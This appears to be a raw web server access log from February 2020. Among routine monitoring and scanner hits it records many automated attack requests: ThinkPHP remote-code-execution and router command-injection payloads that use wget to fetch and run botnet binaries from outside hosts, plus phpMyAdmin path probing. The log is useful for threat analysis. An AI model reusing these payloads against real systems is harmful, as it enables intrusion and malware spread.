106.13.88.214 - - [04/Feb/2020:18:19:40 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
212.91.246.72 - - [04/Feb/2020:18:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.88.214 - - [04/Feb/2020:18:19:43 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:43 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:43 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:43 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:44 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:44 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:44 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:44 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:44 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:47 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:48 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:48 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:48 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:19:48 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
103.16.73.158 - - [04/Feb/2020:18:20:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:18:20:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:18:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.248.35.70 - - [04/Feb/2020:18:22:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:18:22:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.121.223.253 - - [04/Feb/2020:18:23:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:18:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.216.37.43 - - [04/Feb/2020:18:24:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:18:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:18:25:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.109.56.26 - - [04/Feb/2020:18:25:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.141.139.61 - - [04/Feb/2020:18:26:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:18:26:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:18:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.160.177.182 - - [04/Feb/2020:18:27:42 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://221.160.177.182:3512/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
183.81.60.222 - - [04/Feb/2020:18:28:03 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
42.119.98.213 - - [04/Feb/2020:18:28:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:18:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:18:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.23.73.236 - - [04/Feb/2020:18:30:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.102.49.193 - - [04/Feb/2020:18:30:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
94.102.49.193 - - [04/Feb/2020:18:30:36 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
212.91.246.72 - - [04/Feb/2020:18:30:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:18:31:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:18:32:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.110.76.87 - - [04/Feb/2020:18:33:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:18:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.71.253 - - [04/Feb/2020:18:33:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
149.12.217.235 - - [04/Feb/2020:18:34:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:18:34:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:18:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:18:36:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:18:37:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:18:38:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:18:39:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [04/Feb/2020:18:40:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
118.71.3.243 - - [04/Feb/2020:18:40:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:18:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.67.70.88 - - [04/Feb/2020:18:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
171.67.70.88 - - [04/Feb/2020:18:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
171.67.70.88 - - [04/Feb/2020:18:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
171.67.70.88 - - [04/Feb/2020:18:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
171.67.70.88 - - [04/Feb/2020:18:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
171.67.70.88 - - [04/Feb/2020:18:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
171.67.70.88 - - [04/Feb/2020:18:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
171.67.70.88 - - [04/Feb/2020:18:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
171.67.70.88 - - [04/Feb/2020:18:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
171.67.70.88 - - [04/Feb/2020:18:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [04/Feb/2020:18:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.59.139 - - [04/Feb/2020:18:41:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:18:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:18:43:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.180.208.154 - - [04/Feb/2020:18:43:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [04/Feb/2020:18:44:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [04/Feb/2020:18:44:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
46.119.171.190 - - [04/Feb/2020:18:44:13 +0100] "GET / HTTP/1.1" 200 1229 "https://70casino.online/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Avant Browser [avantbrowser.com]; Hotbar 4.4.5.0)"
46.119.171.190 - - [04/Feb/2020:18:44:13 +0100] "GET / HTTP/1.1" 200 1229 "https://70casino.online/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Avant Browser [avantbrowser.com]; Hotbar 4.4.5.0)"
46.119.171.190 - - [04/Feb/2020:18:44:13 +0100] "GET / HTTP/1.1" 200 1229 "https://70casino.online/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Avant Browser [avantbrowser.com]; Hotbar 4.4.5.0)"
121.180.208.154 - - [04/Feb/2020:18:44:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [04/Feb/2020:18:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.180.208.154 - - [04/Feb/2020:18:44:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
41.230.114.187 - - [04/Feb/2020:18:45:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:18:45:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:18:46:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:18:47:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:18:48:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:18:49:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.49.231.120 - - [04/Feb/2020:18:50:22 +0100] "GET /0000000000000.cfg HTTP/1.1" 404 322 "-" "-"
212.91.246.72 - - [04/Feb/2020:18:50:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.58.30.76 - - [04/Feb/2020:18:51:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:18:51:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:18:52:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.61.0.93 - - [04/Feb/2020:18:52:56 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 341 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [04/Feb/2020:18:53:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:18:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:18:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.102.221.72 - - [04/Feb/2020:18:56:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:18:56:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
172.105.11.111 - - [04/Feb/2020:18:57:00 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [04/Feb/2020:18:57:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:18:58:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:18:59:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.175.228.173 - - [04/Feb/2020:18:59:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.164.35.72 - - [04/Feb/2020:19:00:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [04/Feb/2020:19:00:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [04/Feb/2020:19:00:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [04/Feb/2020:19:00:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [04/Feb/2020:19:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.81.45.227 - - [04/Feb/2020:19:00:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.164.35.72 - - [04/Feb/2020:19:01:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [04/Feb/2020:19:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:02:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.46.25.229 - - [04/Feb/2020:19:02:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:19:03:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:04:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.230.94.53 - - [04/Feb/2020:19:04:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:19:05:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.237.88 - - [04/Feb/2020:19:06:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:19:07:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:08:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:10:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:11:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
172.105.11.111 - - [04/Feb/2020:19:12:41 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
172.105.11.111 - - [04/Feb/2020:19:12:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [04/Feb/2020:19:12:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
172.105.11.111 - - [04/Feb/2020:19:12:47 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070330"
212.91.246.72 - - [04/Feb/2020:19:13:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:14:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.76.156 - - [04/Feb/2020:19:15:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:19:15:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:16:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:17:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:18:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:20:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:19:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
